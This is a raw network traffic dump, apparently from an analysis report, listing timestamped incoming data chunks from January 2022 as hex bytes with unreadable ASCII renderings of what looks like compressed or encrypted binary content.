62 04 53 41 40 31 28 b3 b6 1a dd 5e 1f d9 60 dd 01 70 3f a9 d9 01 da e5 e3 31 5e 54 fa 7b 7a 04 e6 30 7d e6 c3 74 aa 52 
4f 46 2b c4 e9 b2 98 2c 04 a7 22 b6 08 f9 87 60 91 aa 9d bb aa 49 25 38 c0 c4 e9 98 e5 b5 e3 bd a5 14 af 11 96 58 b1 16 
af 30 15 2c f6 7a c5 ba b6 5c da 41 ce ac 8e 31 96 ed c7 27 de 4a b3 19 cc 7e 9e bb 0c 9c 7f df 69 cb 49 6f 9c 06 b9 e1 7c 
45 50 b6 03 76 b0 20 74 55 f1 e5 2b 7f 09 d0 db 
Data Ascii: kDb_g><I.FA|OZGQ5;O|?e3QR>/$U/|eyyI2{Y8D?bSA@1(^`p?1^T{z0}tROF+,"`I%8X0,z\A1'J~iIo|EPv tU+

2022-01-13 21:05:25 UTC 1418 IN Data Raw: ad 2e bc ad 5e 48 5f 72 05 a7 8e f7 e4 57 b4 57 a9 3d 71 cb 8a 99 d8 6d a4 bb dd 74 74 e3 47 66 c2 3a ee 03 
e9 0c 48 dd d7 44 24 b5 27 c2 4f 3b 88 ca 84 ab c6 40 64 65 b4 d9 b9 62 31 94 3b 2e c3 8f 95 1f dc 43 60 b6 be ec 9c 6c 
1f 9c ec dd 6c 7d f9 72 76 fa 75 eb 88 32 c2 08 70 1f 9a c3 94 37 51 93 04 9e 8e 47 f5 3f 78 02 02 6d a2 c3 a9 55 1e 0a 
ad c1 27 04 13 45 8c 18 60 e2 f7 10 5e bd e3 be 43 cc b4 ed 96 fd 20 90 dc c8 d8 29 56 ca 7d 9a c6 89 6e b7 27 a8 06 c9 
81 79 4c 21 da e1 b6 bf a9 9d ed 6c ef 9c 5c 1c 6c 1d 9d 5b ee 93 4e b5 c3 99 e3 2e 04 8c 6b 27 9c 6f e7 10 80 66 a2 0f 
4f 36 f5 cc ed 67 57 b2 e6 ab 9b 3b 39 f5 04 d7 4f f2 7f 4c 4e 24 17 88 58 9a 56 d9 c4 36 36 2c 01 06 3e 3c 8a 76 dd b8 9d 
c0 c4 39 15 16 84 18 2e ce cc 89 c6 f4 6a b1 e9 23 53 
Data Ascii: .^H_rWW=qmttGf:HD$'O;@deb1;.C`ll}rvu2p7QG?xmU'E`^C )V}n'yL!l\l[N.k'ofO6gW;9OLN$XV66,><v9.j#S

2022-01-13 21:05:25 UTC 1419 IN Data Raw: 72 02 a5 5e 3d 8a de 02 29 ad 55 b6 f6 f9 1c dd bc 3b 09 ba b6 35 12 d2 20 7b d4 b8 29 6e 8b 5b 8b ec 16 66 
aa c2 b1 60 56 88 35 ff 03 0e 23 43 c0 6e 31 22 6e 24 82 02 eb 42 49 96 98 f8 66 ee ee 1c 7d 19 0e 4c b2 39 b2 04 d8 79 
52 e0 74 af 1c a1 99 c1 8d 8b 3e 25 81 40 c9 cb e4 aa 20 ef 54 9e 71 cb 0d 95 18 bc 3f 61 84 99 03 83 7d 3c bc d7 68 d8 
a6 9b d7 22 03 5f c1 ca 3e 72 de ea de 6d b7 06 21 82 cd 3e 4a 71 d9 d5 16 7e af 2b f4 61 ce 6f f6 b1 f9 26 22 a7 07 13 f7 
f0 de a9 1c e8 f4 ab d7 ca 58 96 97 97 cd 3d e5 09 bc 5b b8 de 23 ef 5d 3d da 35 22 67 ce c4 aa 67 dc a0 3f 92 18 24 81 
0c b6 7e b7 e2 4b c4 42 04 a3 69 45 24 c9 3b 3a a9 4b ec 61 61 dc 1a c3 4c 69 3b 50 5f 75 b8 e8 d0 98 67 5b 2b c1 8a e5 
58 e8 26 3b 53 ec 3e 47 4f 18 f3 c5 26 86 fd 09 9c a4 
Data Ascii: r^=)U;5 {)n[f`V5#Cn1"n$BIf}L9yRt>%@ Tq?a}<h"_>rm!>Jq~+ao&"X=[#]=5"gg?$~KBiE$;:KaaLi;P_ug
[+X&;S>GO&

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1420 IN Data Raw: fd 9e 5f b2 43 25 3b 5c 72 ac 15 e9 cc dc 1f f9 45 8e a9 08 43 03 ee 8f f9 65 50 7d ea 95 c7 33 f7 67 ce ca 90 
95 ec 49 16 f3 07 16 54 c3 b5 4f 75 ef 73 be d4 89 fd 4d d4 ba 00 05 e8 5a 67 82 60 aa 85 7d e4 5c d5 ab f6 66 95 43 df be
98 88 6d 3e cd 83 b7 50 0a a2 8e 14 60 6a c2 db 51 a0 1a 0a b7 d6 9a c4 c0 68 78 7f a0 91 bf 25 13 e4 35 8d c7 db 14 37 
34 15 74 29 90 5f a4 5f 78 dc 8d 64 4e 58 79 e4 e7 ba 18 60 fc 49 38 7d 09 f3 4a 33 60 eb 87 45 cb cf ea b5 d1 41 3f 71 
4d ce cf 7e f8 05 03 19 ba 43 06 6b f1 db e4 07 bf 48 2f e5 e0 92 40 22 fa 24 13 09 2c d8 2c db 4c 13 2d 2b 6d 66 a7 e1 f9 
5d 7b 03 89 76 e5 e3 e8 cf 69 6f 1c 63 7a ae 6e 37 a6 62 e4 62 23 9b 1d c4 71 77 11 ab b8 a7 b6 cf 54 98 ce d4 a4 db 14 
71 21 a6 c3 cb 0c 18 b1 d7 b9 19 41 b3 0e 21 48 
Data Ascii: _C%;\rECeP}3gITOusMZg`}\fCm>P`jQhx%574t)__xdNXy`I8}J3`EA?qM~CkH/@"$,,L-+mf]{vioczn7bb#qw
Tq!A!H

2022-01-13 21:05:25 UTC 1422 IN Data Raw: 8c 40 7c d0 91 6a 1e 1f 08 66 20 48 b4 d5 55 f4 f9 87 67 df 72 ac 41 d9 ce c4 85 f5 ba 2c 04 2e 4a 8f 6d 37 c8 
00 52 56 83 b2 90 22 76 a4 75 c9 ef f2 ad 45 26 56 8b 8d de 90 5c db 09 27 8c 73 43 23 43 bd bc 2c 1a 10 cf 0d 39 08 85 
1a 1f 69 86 c8 06 d2 76 e8 2f 9e ef 52 4b 97 44 31 39 55 94 75 13 fd 1d 19 44 30 46 bc e8 94 03 e4 05 83 e5 65 54 e8 49 
9b cc cc bd cb 1b 3a 5e 5e 88 93 2e 57 c0 61 4b 8a 9e 46 78 2e f2 e0 75 ac 57 99 a0 1a e9 a8 80 0b 0a b0 d0 45 37 8e 
38 a9 cb 2c 1d 78 10 d2 c9 09 bf 1f 27 14 a8 2c d0 56 61 54 6a 2d 9b d2 3b b1 56 b2 d7 3d c0 98 2b bb e9 cc 2e d0 30 30 
43 3d 26 b0 4c 0b 44 e6 3a f0 fa 0e cc 6b 5b c4 da 51 84 9d f7 d7 bd 1d a3 6d 8a f9 59 4a 33 15 08 4f 7b 8e 58 ea 20 01 
ef e0 ef 3d b6 5e f1 8f ed e4 26 31 fe fb da 6f 5c ad bb 
Data Ascii: @|jf HUgrA,.Jm7RV"vuE&V\'sC#C,9iv/RKD19UuD0FeTI:^^.WaKFx.uWE78,x',VaTj-;V=+.00C=&LD:k[Qm
YJ3O{X =^&1o\

2022-01-13 21:05:25 UTC 1423 IN Data Raw: 85 33 bd be 46 7e 7d 03 24 b4 cf cf 43 a2 d4 81 47 2c 30 07 ac f6 50 25 b8 84 9f 8d e5 e5 50 c7 3d 7a 79 59 
82 70 20 73 14 96 58 af 28 ea b0 23 e2 9f 89 49 65 49 7c 49 38 29 46 71 08 c4 d2 47 cc dd 6f 71 20 b0 65 1c 9f 5c c2 e0 
29 b4 7b a0 99 82 a0 d4 50 87 8c 9a 9e d3 a1 52 f5 c0 45 a1 f9 d3 2e 1e 0f c9 80 0c c3 ac 92 53 c7 d5 a5 12 c2 67 d8 30 
27 44 aa 4c ee 69 01 d9 08 bf 1f 36 53 0a 93 34 da bd a9 72 7c d9 ea 0a b2 36 19 71 bc ad 81 4c 49 14 e0 56 ca f8 c0 dd 
a3 42 fb 2a ba d6 b3 f5 25 d1 62 09 53 8b 90 36 fd 5e bb ad c7 74 a8 6d f8 9d 92 56 dd 15 04 b3 9e ab f8 c9 75 ee 21 46 
f9 8b 60 f1 2d 7c 2c d7 89 47 02 eb 90 48 b0 c3 aa 64 0e 09 b9 75 d3 e1 86 42 31 cc b7 6b e8 ed 73 97 eb e2 d3 d2 5c 7c 
60 26 f5 aa 13 c8 50 f3 3a 52 8e 39 af 93 45 6a de dc 47 
Data Ascii: 3F~}$CG,0P%P=zyYp sX(#IeI|I8)FqGoq e\){PRE.Sg0'DLi6S4r|6qLIVB*%bS6^tmVu!F`-|,GHduB1ks\|`
&P:R9EjG

2022-01-13 21:05:25 UTC 1424 IN Data Raw: 11 4c a7 5c 0f 91 5c 0f 4f 8d 26 6c ba 46 73 a6 dd 76 10 98 55 20 0e c0 2d c2 72 75 19 cb d5 ec 6c 9c f5 96 a8 
1b a1 12 40 73 62 a8 81 92 2c e0 61 6d 2c 17 bc 61 3a 02 9f 23 c9 42 0d 8d 92 4d 6e 45 72 86 9d b4 a1 31 0d 75 d7 90 
d4 fd d6 13 9c 40 ff 3e 8f 13 20 48 09 ab 25 38 b7 1b 31 45 22 6b cc 5c 36 81 53 fc 99 dc 0d bf 15 c1 38 77 f5 d9 ca cd aa 
ad d2 8d 30 28 29 31 cb be fb 2d 2c 07 2e 27 2a 2f 87 d2 e1 6f 2f db 53 16 f9 51 3d 50 6f 61 00 02 48 e1 39 73 90 ed 14 
22 a3 32 5b 18 17 be 85 c0 e2 e1 17 91 21 dd 43 15 06 ca f5 11 d2 ab 06 a1 ff 86 b1 1d b9 25 d4 ff a4 87 8e de 9d e7 91 
c1 e3 29 42 79 97 97 33 f6 86 79 c1 ef 21 34 88 4f fc 50 b4 08 f9 93 24 d0 7a ce 74 37 32 70 a5 b7 2a 62 36 eb 8d 8c dc 
46 a8 72 2c 65 86 47 24 77 90 d1 ae fb e9 33 37 df ce 
Data Ascii: L\\O&lFsvU -rul@sb,am,a:#BMnEr1u@> H%81E"k\6S8w0()1-,.'*/o/SQ=PoaH9s"2[!C%)By3y!4OP$zt72
p*b6Fr,eG$w37

2022-01-13 21:05:25 UTC 1425 IN Data Raw: 70 d2 19 2c ea 9e ff 0c 28 42 ce f8 d2 c1 09 51 3a d0 e9 a3 2c 5c 52 29 05 81 68 52 45 e5 bf 44 d3 f2 83 77 3e 
25 6a 5c c7 e5 50 fc 58 af d6 cb 6f 77 36 80 e1 ed e8 7d 16 5d 6d 40 47 1f b4 9c c5 67 aa 3b f5 f4 69 d1 57 bb aa af 2d 44 
b8 da 4c 3b df d3 6b 94 b3 13 10 c9 be 74 16 ee 57 04 56 e7 6f 5c 9a 0c d4 2f ec 6b c3 f4 ae 62 67 85 7f 36 d2 c8 63 4b 
c7 5e af 91 df 12 d1 00 1a c9 fc d1 91 43 bb be b3 f1 82 77 d8 1c e8 32 58 3f f5 0a 77 eb 32 bd 7e fe f3 5e c5 5e 8c ad 8b 
ab 31 b6 8e 3a a9 5a 47 8d aa 43 93 ce 51 5d 8e 2a c0 4c d7 62 9e a1 17 7c b8 59 18 d7 26 24 d1 30 04 d5 af ca 85 64 
9e fe 29 48 c3 e4 a3 35 22 ed 1b 9b f6 d8 9e e7 9f ed 0b 47 d9 df 86 11 f9 84 20 5f 92 26 33 61 bc 90 b9 35 6b 08 dc a6 
52 db de 66 39 15 11 de 9f ff 16 ea 81 53 f9 a6 ba 
Data Ascii: p,(BQ:,\R)hREDw>%j\PXow6}]m@Gg;iW-DL;ktWVo\/kbg6cK^Cw2X?w2~^^1:ZGCQ]*Lb|Y&$0d)H5"G _&3a5
kRf9S

2022-01-13 21:05:25 UTC 1427 IN Data Raw: f0 9a 80 45 ca 7d 78 dc 87 3b 14 b6 c3 d3 9b b5 87 98 8b 41 39 cc f4 6c 53 45 c1 0e 1a 4b e8 af b3 9f 26 96 ae 
a6 5f 0e 30 f8 35 d4 a2 bf 95 84 97 8d f2 1f 51 22 63 61 67 e1 6c 0e 15 6c 8e 22 bb 75 d5 20 38 f3 a9 2b 75 27 a5 11 de f5 
ea 5a 20 7f a3 f0 0d 31 e1 42 1d dd 03 88 73 ac 35 89 1a 9b 54 d2 24 91 bf a9 13 a6 93 d6 f2 f2 3a 26 75 ed c7 fe a0 d7 
15 b1 a8 42 3d f3 5e 2a f6 9a 15 4e ee 75 6b 4c c2 42 8e 36 55 0e 3f 01 69 c8 c6 36 ab b2 4b 4d 13 61 04 bb d4 54 f8 22 
85 7b 9f c0 ba 52 7d e0 fa 67 7a 18 a5 94 3b 42 16 e3 45 72 7a 35 d8 a4 96 bf c8 1e 73 d2 db 6b 4f c5 5b 05 88 78 54 fc 
e8 45 e8 95 b9 84 a8 b8 7b d2 87 b7 bc 04 97 e8 90 d9 d3 5d b8 58 a1 0f 67 e3 dc f5 98 96 34 74 bf 45 b5 7f 81 c4 26 e2 
46 56 7d 3d 2f a4 4b ef 85 1e 97 22 62 75 2c 52 7d 
Data Ascii: E}x;A9lSEK&_05Q"cagll"u 8+u'Z 1Bs5T$:&uB=^*NukLB6U?i6KMaT"{R}gz;BErz5skO[xTE{]Xg4tE&FV}=
/K"bu,R}

2022-01-13 21:05:25 UTC 1428 IN Data Raw: ba 42 7e 8a 16 82 79 f6 52 9d ba 91 6f ea a8 f2 60 22 cf 5e 05 31 b6 90 0c 28 f6 a0 fb aa b5 b9 09 23 f5 89 96 
21 aa da 5b 5b 82 0a 5b 19 62 30 db 99 4e 27 53 df 40 9c fd 32 15 04 8a 89 bf 5d 0b 03 3f b6 41 ae 17 1e 5d 9e 54 1c 5a 
29 fb 5a bb 01 5e 2e d1 45 88 32 ec 6e 6e 92 c9 b7 6b f0 88 d3 09 8f 91 63 3a b5 6b fb a6 ea 00 49 4f 19 67 e8 5a d3 f3 
c1 c8 9d 2c e6 29 27 73 66 a5 11 33 21 04 0a 4b 10 58 b6 a5 95 e9 03 38 fc 4b 2c 08 83 80 9f e9 2a ee 74 58 ed 4e a6 29 
22 33 a6 83 d5 1b 0b e2 d0 1d f7 e6 d0 0a f4 b1 51 a5 08 b8 26 ae 98 f5 07 dd 79 2a 0d b2 e5 5e 67 6f 50 0f fe 68 37 20 
4e ee b5 7e 53 05 dc bb 00 55 ff dc ab 74 d3 f3 e9 0b 69 d7 37 bb d4 26 b9 3f 7f 5a 60 93 60 42 a8 22 7c 30 4d 8a 57 1d 
b7 81 52 df c4 c6 dc e2 33 90 ea a7 d3 08 9b 0f db 04 
Data Ascii: B~yRo`"^1(#![[[b0N'S@2]?A]TZ)Z^.E2nnkc:kIOgZ,)'sf3!KX8K,*tXN)"3Q&y*^goPh7 N~SUti7&?Z``B"|0MWR3

2022-01-13 21:05:25 UTC 1429 IN Data Raw: 0a 78 77 7e 51 7e bc 0b 48 2b 15 78 dc 68 e1 b7 6e e0 0a 02 8f 26 f7 9b 9b 07 23 cc 32 9f eb 4e 9b 92 7a 88 
26 06 1d 34 af 81 b3 44 c2 d3 3e f5 c4 53 98 62 df e0 53 17 96 7a 79 fc 45 2d 60 d1 20 44 fe 83 2d 06 cc a6 59 b0 3c c8 
89 81 de 35 ac ef 78 c8 cf a7 23 ee 2e e0 9f d8 5d 1d 09 2d 27 4f 10 ff 3d 24 71 95 fc 6b e9 1b 84 1b ae 89 79 61 a5 d2 8a 
51 0b 35 87 80 27 4b ae 64 4e ec 94 6f 41 e3 88 db 1c 71 87 43 f6 dc 79 ca 22 a1 88 c3 4d 02 94 88 99 c0 05 b0 1b d9 2a 
47 72 17 47 91 ac dd 0a 7e 86 49 90 c7 c9 eb 1b 64 9b 9f 34 08 92 a0 d4 81 9e 3b 0a 63 3b 1c 3f 97 33 b6 73 53 05 2d 72 
3d 2d da dc 74 e8 6a 52 b5 3c 1d 9d d5 52 2e 0b 1c b1 e6 0b 01 4f e3 08 ca f5 b4 57 b4 f9 9f 71 92 a8 b1 da 31 a9 fc 89 
d5 6b 09 0b 28 44 40 74 36 33 2f 30 07 14 b3 2e 9d 0f 
Data Ascii: xw~Q~H+xhn&#2Nz&4D>SbSzyE-` D-Y<5x#.]-'O=$qkyaQ5'KdNoAqCy"M*GrG~Id4;c;?3sS-r=-tjR<R.OWq1
k(D@t63/0.

2022-01-13 21:05:25 UTC 1430 IN Data Raw: be 33 c6 3b bb d3 cf a9 dd 1a 30 75 b7 46 78 2a 55 a4 d1 6e 2d e3 92 32 ce 0b 55 9a b5 54 f7 0e 97 96 a8 19 
c8 1d 79 73 91 f9 eb 2f c2 d1 bf fe da dc 0c 7b 9a c1 1b d4 5c e5 24 00 fc 98 ec 09 9a c7 36 26 15 97 e9 be 21 33 de 52 
96 44 9a f9 ac 17 71 d9 41 a9 60 4d f9 7a c2 3d 5c bc ac d8 78 8d c2 0b 95 e4 55 f8 a4 e1 69 3a 98 bb 3e 3a f7 6c 79 33 
8b 6b d2 88 2e a4 7b 38 1f 07 bc 91 b4 a5 91 52 25 2c d2 5f e8 6f 6e f2 e2 48 b8 0e 64 62 5b 61 99 f9 2c 09 87 aa 74 8f 
15 fb e4 fd 3f b1 84 33 92 7f 78 7b 3f c0 06 e1 da 6f 6e 6a 7a 11 c7 75 d7 9d 4f da 4d 35 dd f9 f4 49 f0 cf 95 96 4a 84 b7 
7b 26 55 97 c3 f7 ae bb 00 dd dd da 42 ee a7 4f 50 29 81 82 5f db 35 b3 38 0e 64 0e c5 50 d6 3e bc 37 62 6f 99 9d 6a c7 
a4 02 94 cc 64 32 ff 33 fd 9f 31 fe ff ff c1 ff 25 da 
Data Ascii: 3;0uFx*Un-2UTys/{\$6&!3RDqA`Mz=\xUi:>:ly3k.{8R%,_onHdb[a,t?3x{?onjzuOM5IJ{&UBOP)_58dP>7b
ojd231%

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1432 IN Data Raw: 12 b0 3d 6f 3f ea 0e 63 1b 76 d8 8f 01 62 5a f8 e9 d1 93 b0 63 5c 24 af 41 52 57 4f 83 71 67 f2 94 19 4e 1c 6b 
c8 f0 a7 47 99 99 f0 82 74 2f 65 d5 3c a9 a1 e3 1a 35 5d 5f c2 4e 35 60 fe 9f d4 e4 93 0d 07 e3 65 75 df 4a 7d 61 ad 4e c1 
e0 e5 34 94 2b 22 43 43 46 0e 19 45 94 cf a1 82 86 0a 45 54 d4 50 31 77 53 fd 12 3c 05 30 b7 86 77 60 21 3b 03 2b f3 e4 
da d3 b9 93 39 81 75 1f a6 a1 3d e9 7d bd c7 3e d4 a1 35 06 dc f1 76 00 3d bb ed b7 2e 5e dc 7d 7d 83 23 6c b6 33 27 56 
29 69 53 ce ca c0 ec 4d eb 93 8e 5b 9b e3 48 4d cf e7 ff 70 71 84 74 0d a1 f8 8d e9 6e c2 03 e4 fe f9 a7 59 02 af 9b 3d 23 
2b 21 dd 45 15 81 bb 45 02 77 eb e6 ff 35 4f 6b d7 d6 7f 9d d6 58 05 0f e2 93 4f 53 30 f2 23 f8 ff 53 72 eb cb 1d 3e 21 83 
ce 57 45 36 38 73 fb c9 c8 e9 3b 05 72 5c 92 
Data Ascii: =o?cvbZc\$ARWOqgNkGt/e<5]_N5`euJ}aN4+"CCFEETP1wS<0w`!;+9u=}>5v=.^}}#l3'V)iSM[HMpqtnY=#+!
EEw5OkXOS0#Sr>!WE68s;r\

2022-01-13 21:05:25 UTC 1433 IN Data Raw: 80 9e 94 e7 b7 e1 d8 d8 db 8d ab 53 95 a2 f6 9b bd c1 45 32 14 c1 bc 31 f5 32 c0 a8 fb 53 e5 b0 f0 c1 92 47 ce 
fd df 60 09 4d 07 eb e9 c2 18 3c b1 2f da 55 9b 0e d0 8e df e3 f3 12 80 55 92 2c 3f 74 e7 56 c7 9a 5b 0a 93 47 93 ce a0 3b 
00 be c2 13 7c 54 eb 0f eb 33 f7 32 f0 0e 05 61 2c b0 92 bc 52 e4 17 9c 48 0e ee 05 dc 34 3d 0b f1 32 44 5e 9f 53 df e4 d3
24 9e 7d 91 7c 35 70 50 c0 cc cc 16 44 15 ba 8b 21 76 0e 9d 0c 4f 14 dd 72 fc f0 76 66 ba 12 b7 bb ae 35 18 e2 77 00 70 
57 b0 c8 b3 3e 41 96 d2 f2 c2 e7 a3 62 37 40 c5 3a 83 b9 1d 32 86 3a 02 9e c3 8f aa 3b e5 3b af 6a 65 26 9f c1 54 4f 98 f1
06 9b df 06 5a b3 78 1f 79 92 ae 50 c7 c2 87 67 5b e9 ad f6 c8 5f 00 e9 59 c8 73 65 b5 1c 2c b5 ea 4c f5 2c a5 71 d8 7b 
50 d4 83 a0 c7 67 0f e9 be 3c 11 70 36 ca be 
Data Ascii: SE212SG`M</UU,?tV[G;|T32a,RH4=2D^S$}|5pPD!vOrvf5wpW>Ab7@:2:;;je&TOZxyPg[_Yse,L,q{Pg<p6

2022-01-13 21:05:25 UTC 1434 IN Data Raw: 74 02 ff 02 af 5e 60 8e 74 b4 07 4c cf e6 d0 46 e7 00 fe 82 dd c2 7f f2 c8 c5 7f 0a e8 b2 05 7f 8a e8 01 a6 27 5b 
42 5d fc ab 8c 26 d0 02 66 f7 a0 01 7f 34 d4 c4 bf 74 d4 c6 bf 72 e8 08 ff 31 d0 21 fe 03 bd c0 a4 c3 1c 77 f0 9f 22 fa b6 07 
7f 4a e8 08 64 03 a6 f9 12 7e c1 3c ef c3 2f 98 e8 17 fc 47 47 03 18 16 a6 ba 8f 7f 19 ec c5 96 f8 7a fc 4c 94 f2 59 51 2e f6 
fa 45 b4 46 fa 1a 35 c2 80 f9 66 1c 69 a2 33 55 79 89 8f dc 8b b0 18 af b1 dc a8 ed a8 ae 6b 92 29 da 16 1d d7 70 40 9a 
47 3a 98 a3 3b 73 7b db 77 ba e3 2d 93 74 97 39 18 47 99 07 62 1d ee 32 77 51 dd 18 04 e4 39 cc a7 fe 42 41 80 09 5a 
91 40 8d 3b 61 a3 9d b1 9e 8a 6c b8 e1 ed 5b 33 41 ba c3 c4 37 a2 f8 55 97 f8 d5 10 fc aa 03 bf 20 7e 6f 28 a6 95 25 8b 
f7 48 ba 34 0a 4b 82 a4 af 75 27 8c 3d 8c 
Data Ascii: t^`tLF'[B]&f4tr1!w"Jd~</GGzLYQ.EF5fi3Uyk)p@G:;s{w-t9Gb2wQ9BAZ@;al[3A7U ~o(%H4Ku'=

2022-01-13 21:05:25 UTC 1436 IN Data Raw: 2f f1 71 ea ce ee 27 e3 99 ab b2 5b 25 75 ba 4d 96 9f ab 35 59 73 15 93 35 57 eb b1 e6 e3 6a d6 dc 73 de 7c 
97 78 f3 51 f0 e6 3b e5 cd 47 85 37 a4 15 7e fa 1e e6 7c 5c 93 39 1f 63 32 e7 e3 7a cc b1 1b ab 99 33 63 cc b1 1a 52 ee 
af 21 d2 78 0d d0 48 84 8f 83 37 14 f6 e0 76 f8 e9 7b d8 e3 6b 1e 83 3d 3e f8 08 f6 f8 e0 de 66 8f b3 9a 3d 0f 8c 3b 4a 9a 
93 f0 c7 51 58 82 61 f1 c3 f7 70 c4 59 93 23 4e 4c 8e 38 eb 71 a4 b3 9a 23 d3 50 8e 74 08 47 3a 0a 47 30 2c 38 b4 9d 86 
cf a1 5d 9f 2b bf 61 6f 32 bf 3a c2 cb c7 8e f0 dc 15 6c 09 3b af 4f 18 e2 36 62 ba 16 dc d1 ec ad 66 fc cc e5 76 ac 2b a9 
6a 4f a8 6a b7 41 1c ce 9e 32 07 b4 19 7e fc 1e b9 ec ad 29 97 bd 98 72 d9 5b 4f 2e fb 51 ec 09 d7 d5 3e 61 50 3f c0 15 
a2 ad fd f7 71 a5 bf 26 57 fa 31 b9 d2 5f 8f 2b b7 
Data Ascii: /q'[%uM5Ys5Wjs|xQ;G7~|\9c2z3cR!xH7v{k=>f=;JQXapY#NL8q#PtG:G0,8]+ao2:l;O6bfv+jOjA2~)r[O.Q>aP?
q&W1_+

2022-01-13 21:05:25 UTC 1437 IN Data Raw: ed 84 df 55 b7 c3 bd 00 00 08 bb ab 8e 02 a8 7c f9 18 71 ab e6 af 31 e6 63 84 a5 fd c8 2d 2d bb 9f 2d 8a 35 0f 
d2 12 34 dd 11 b7 b3 3d e0 35 28 7b 83 66 f1 a4 25 c2 69 fd 18 71 eb 68 14 5b 3e 46 2c 41 1f 23 96 20 99 31 6c 9e c2 2e 
f0 f3 4d 64 49 01 28 f9 26 f2 17 16 23 c9 ab f0 2e df 15 17 a8 a6 7f 9c 33 0f 43 e3 5f c7 b0 33 fd ea f0 2e 05 2d 0f ef 52 1d 
d4 bf 63 85 c1 5d 7a 19 e2 83 10 ed d4 7d 44 6a 6a 38 84 9d 10 3f 99 9a ea d7 62 d7 89 81 6c 90 31 02 4c d6 a4 a8 08 8c 
a6 a6 b2 52 23 97 21 8a 41 40 b5 34 95 99 1a e6 e6 bd 00 01 4b a4 a9 b7 22 6a f8 5a c4 31 01 99 93 43 cb 59 f6 dd 0a cf 
91 e1 ac c3 b7 04 d2 8f d2 38 f2 47 69 a8 94 01 eb af 3b 37 42 0a 55 7b a6 cb 22 1a 70 e9 74 49 48 75 d5 a8 e9 92 94 ea 
aa f6 ea de 15 b1 f3 f8 66 68 2e cc d0 22 9e 92 
Data Ascii: U|q1c---54=5({f%iqh[>F,A# 1l.MdI(&#.3C_3.-Rc]z}Djj8?bl1LR#!A@4K"jZ1CY8Gi;7BU{"ptIHufh."

2022-01-13 21:05:25 UTC 1438 IN Data Raw: ef 0d 10 e6 40 a8 a6 63 e9 fd d8 00 6b 70 8a e3 41 30 67 1a f0 52 cb e7 40 3d 0c fc e5 68 2d 57 80 39 c6 6a 
08 ff 17 a0 a6 88 75 09 fe e2 4b a3 b3 c4 2c 69 20 2f 1a d8 39 60 cc 0d 68 42 ec b0 58 b6 11 d8 b0 ca 24 74 08 43 8a 2b 
a2 2c 65 8b 36 60 7e 24 e1 de 08 6c fb 4a 22 a8 ca 82 bc 92 04 d6 11 d9 66 15 4b 7e 74 7b 54 cf 25 29 08 ae cc 92 d2 04 
0c a2 d4 30 90 35 d6 7c eb 97 da 52 d2 0a 5d b5 94 39 9f 1e 07 ec 68 d9 57 1d e0 45 59 ce 6b ca b5 24 c6 cd c9 8b ae 16 
d8 45 d0 74 89 5c 5d e5 65 ce 7f 6c 42 33 b2 aa 94 1b 45 df 99 1b 90 fa a0 15 f2 1f bc f1 1b aa 0d 9a 1e 2e f8 7a d1 d5 6d 
a0 9c b1 4a 6d e9 ac c8 1e 8b 3a 67 39 69 ce 02 ee 4c 4e 9a b3 a0 3b 23 2f 6f 65 15 27 5d f6 d0 72 2a 4e 39 09 a5 7c e0 
f4 4c 5e de 26 0f cc 89 cf 6c 07 8c af 4c 6c 90 db 65 
Data Ascii: @ckpA0gR@=h-W9juK,i /9`hBX$tC+,e6`~$lJ"fK~t{T%)05|R]9hWEYk$Et\]elB3E.zmJm:g9iLN;#/oe']r*N9|L^&lLle

2022-01-13 21:05:25 UTC 1439 IN Data Raw: f7 2c 07 7c 8b ac fc be 4d 80 9c ac bc fd 13 18 54 72 c1 03 79 cf bc b2 da 2a c9 1c 79 bd 0e a6 6a 0b 3e 8f 24 
10 54 e8 be 4d e0 52 20 c7 ae fb b6 cd cb c1 f5 ca 77 3a db f3 49 36 3c 00 79 3e ca 81 cc ac 9e f5 39 3d 81 ec ab 9e f5 39 
1b 01 97 aa 28 85 ec 5f 1a f8 8b 9d aa 0f 81 53 dd a7 0d 09 a6 1c 84 29 0a 18 32 ed 81 a4 82 94 96 ff be 83 f2 aa a7 8d 
23 37 b4 27 d2 55 24 c9 94 0f 4b 32 95 59 92 69 09 d0 ff bb 6f 8d 2c 51 2b 74 15 21 0b cc 7e 58 15 bd f8 7a e3 ea cd f5 8c 
1b bd 82 64 f4 30 75 1f 77 f0 45 09 68 f6 37 50 1e 70 40 a9 47 63 ef 92 a3 9c af 91 23 06 13 86 e1 a3 f2 d3 2b 4b 34 7f db 
51 da 21 fd 60 47 69 11 7f df ef d7 27 7a 89 26 2b 3d 91 33 7c 10 75 89 0e 54 3c bc db cc d1 c3 ca c6 57 e4 3d 88 25 ba 
fb 25 2a 36 42 fd db 25 ea ed 92 0f 8b dd a0 
Data Ascii: ,|MTry*yj>$TMR w:I6<y>9=9(_S)2#7'U$K2Yio,Q+t!~Xzd0uwEh7Pp@Gc#+K4Q!`Gi'z&+=3|uT<W=%%*6B%

2022-01-13 21:05:25 UTC 1441 IN Data Raw: 5e be c2 44 e5 bd b8 26 92 22 bf 13 1f f9 1d 81 fc ee 6f 0b 9b 7f 39 db a0 ca 06 59 14 c3 3d 48 62 cd c3 13 51 
e4 84 a9 64 15 14 0c cb e1 32 ca af 8d 58 56 77 9a fe 5b 8a 8e ac 51 c4 25 45 7a 48 8b 86 fb 38 70 f0 ed e2 6f 66 53 f7 
a2 66 aa 29 25 0a f6 c4 3c b5 e2 4f 6e 4b 34 3a 88 6a b4 2f 8d 73 20 9a b4 e3 8f d3 f6 22 a9 26 04 f5 ba 71 83 8e df 1d 51 
c5 df a7 d6 d5 68 5d 3e fa 10 33 dc 8a c8 a3 ff 9a 14 4a e9 50 55 0a 95 b7 2d 83 a7 4d 57 dd 87 ab 26 74 83 af ee af ba 
0d b7 29 65 49 03 21 55 33 2a a4 6a 46 65 83 70 e5 46 ac 74 10 a9 0c 1c ca f5 9d e1 50 07 95 0f f2 a8 83 ea 72 16 30 ab 
56 4a 6f 20 83 0a 04 df 41 c7 79 92 43 11 39 eb 01 1b 26 dd 4a 03 fa 10 38 d6 8c 8f f3 a0 23 91 19 01 13 aa 87 bd 7e 8c 
0f e7 a0 5d 9c 19 39 fc a5 28 fc 3f 73 ef 3c 68 3f 
Data Ascii: ^D&"o9Y=HbQd2XVw[Q%EzH8pofSf)%<OnK4:j/s "&qQh]>3JPU-MW&t)eI!U3*jFepFtPr0VJo AyC9&J8#~]9(?
s<h?

